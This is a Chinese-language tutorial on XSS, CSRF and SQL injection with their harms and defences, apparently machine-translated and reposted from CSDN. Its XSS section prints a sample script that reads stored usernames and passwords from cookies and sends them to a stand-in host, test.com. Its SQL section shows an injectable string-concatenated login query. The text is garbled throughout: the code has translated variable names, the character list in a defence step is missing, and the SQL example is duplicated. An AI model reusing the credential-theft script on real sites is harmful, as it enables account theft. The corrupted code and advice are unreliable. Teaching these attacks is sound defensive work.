攻击者在论坛上放置看似安全的链接,诱骗用户点击,并窃取cookie中用户的个人信息。
或者,攻击者在论坛中添加恶意表单,当用户提交该表单时,信息将被发送到攻击者的服务器,而不是用户最初认为自己信任的站点。
允许用户发布这样的消息
因为,尽管我们完全信任用户的输入,但有些用户会别有用心地这样做。
这样,无论谁访问这个页面,控制台都会打印“嘿,笨鱼!”如果这只是一个恶意玩笑,那么有些用户会做一些不可爱的事情,有些用户会使用它。这些漏洞会窃取用户信息或诱骗用户打开恶意网站或下载恶意程序。让我们看一个最简单的例子。
使用xss窃取用户名和密码
当然,这个例子很简单,看原理的话是无法攻击任何网站的。我们知道,很多登录界面都具有记住用户名和密码的功能,以帮助用户下次登录。在某些网站上,恶意用户注册帐户并登录,然后使用简单的工具以明文形式记录用户名和密码。如果您的网站存在XSS漏洞,您可以使用jsonp来检索其他用户的用户名和密码。
恶意用户可能会输入以下内容
查看http://test.com/hack.js 中隐藏的内容
var username=CookieHelper.getCookie(\’用户名\’).value;
var 密码=CookieHelper.getCookie(\’密码\’).value;
var script=document.createElement(\’script\’);
script.src=\’http://test.com/index.php?username=\’+用户名+\’密码=\’+密码;
document.body.appendChild(脚本);
一些简单的JavaScript,用于获取cookie 中的用户名和密码并使用jsonp 重定向到http://test.com/index.php
伤害:
1、窃取机器登录账号、用户网银账号以及各种管理员账号等用户信息。
2、企业数据的管理,包括企业机密数据的读取、修改、添加、删除等
3.窃取具有企业价值的重要信息的行为
4. 未经授权的转让
5.强制发送邮件
7. 控制受害者机器并对其他网站发起攻击
XSS攻击防范方法
首先,代码应该仔细检查用户的输入位置和变量的长度,过滤掉“”、“”、“;”和“\’”等字符。
接下来,您需要在将内容写入页面之前对其进行编码,以避免意外删除HTML 标签。如果这个级别效果好的话,你可以阻止至少一半的XSS攻击。
首先,cookie不应直接泄露用户隐私,例如电子邮件、密码等。
其次,将cookie与系统IP绑定,降低cookie泄露的风险。攻击者获得的cookie没有实际价值,无法播放。
尝试使用POST 而不是GET 提交表单
XSS攻击与CSRF攻击(跨站请求伪造)区别
XSS 仅供参考,不需要事先了解其他用户页面的代码或数据包。 CSRF需要知道其他用户页面的代码和数据包才能代表您完成指定的操作。
要完成CSRF攻击,受害者必须依次完成以下两个步骤:
登录可信网站A,并在本地生成cookie。
在未从A 注销的情况下访问危险网站B。
CSRF攻击
原则:
跨站请求伪造(CSRF) 是一种常见的Web 攻击。 CSRF攻击过程的受害者用户登录网站A,输入个人信息,并在本地存储服务器生成的cookie。那么,当攻击者点击A网站构建的恶意链接跳转到B网站时,B网站就会携带用户的cookie信息,访问B网站。它欺骗网站A 认为用户自己访问了它,然后执行一系列操作(通常是转发)。
例子:
1. 网站用户Bob 可能正在查看聊天论坛,但另一个用户Alice 也参与了该论坛,并且后者发布了一条包含Bob 银行链接的图像消息。想象一下,爱丽丝创建了一个链接来提交表单以向鲍勃的银行网站提款,并使用该链接作为图像源。如果Bob 的银行将他的凭据存储在cookie 中,并且该cookie 尚未过期,那么就会发生这种情况,因为Bob 的浏览器在尝试加载图像时发送提款表单和他的cookie 该事件未经Bob 同意而被授权。
伤害:
一种Web 应用程序,根据可靠的输入表单和经过身份验证的用户执行某些操作,无需批准特定操作。通过存储在用户浏览器中的cookie 进行身份验证的用户可以完全在不知情的情况下向受信任的站点发送HTTP 请求,以执行用户不希望的操作。
预防:
1.验证码。
在应用程序与用户的交互过程中,尤其是账户交易等核心步骤中,用户被迫输入验证码来完成最终的请求。一般情况下,捕获包含以下信息就足够了:
CSRF 攻击。但添加验证码会降低用户体验,网站无法对所有操作都添加验证码。因此,验证码只能作为在重要业务点设置验证码的辅助手段。
2. 反CSRF令牌。
目前比较完善的解决方案是在HTTP请求中添加Anti-CSRF-Token。也就是说,在发送请求时,
将随机生成的令牌作为参数添加到请求中,并在服务器上创建拦截器来验证令牌。服务器读取浏览器当前域cookie 中的令牌值并验证请求中的令牌。
仅当cookie 和cookie 中的令牌值存在且相等时,请求才被视为合法。
CSRF的防御
在服务器端实现CSRF的方法有很多种,但总体思路是一样的:在客户端页面添加伪随机数。
如何通过验证码
SQL注入攻击
原则:
SQL注入是当应用程序将SQL(结构化查询语言)传输到后端数据库时,攻击者可以将SQL命令插入到Web表单中以查询域名和页面请求,他们可以发送或输入字符串,最终欺骗服务器执行恶意操作。 SQL 命令。
例子:
网站登录验证的SQL查询代码如下:
strSQL=\’SELECT * FROM users WHERE (name=\’\’ + userName +\’\’) and (pw=\’\’+ passWord +\’\’);\’
最后更多分享:前端字节跳动真题解析
**
网站登录验证的SQL查询代码如下:
strSQL=\’SELECT * FROM users WHERE (name=\’\’ + userName +\’\’) and (pw=\’\’+ passWord +\’\’);\’
最后更多分享:前端字节跳动真题解析
[外部链接图像正在传输.(img-4a0wAtjD-1719233011943)]
以上#web安全与防护相关内容摘自互联网,仅供参考。相关信息请参见官方公告。
原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/92100.html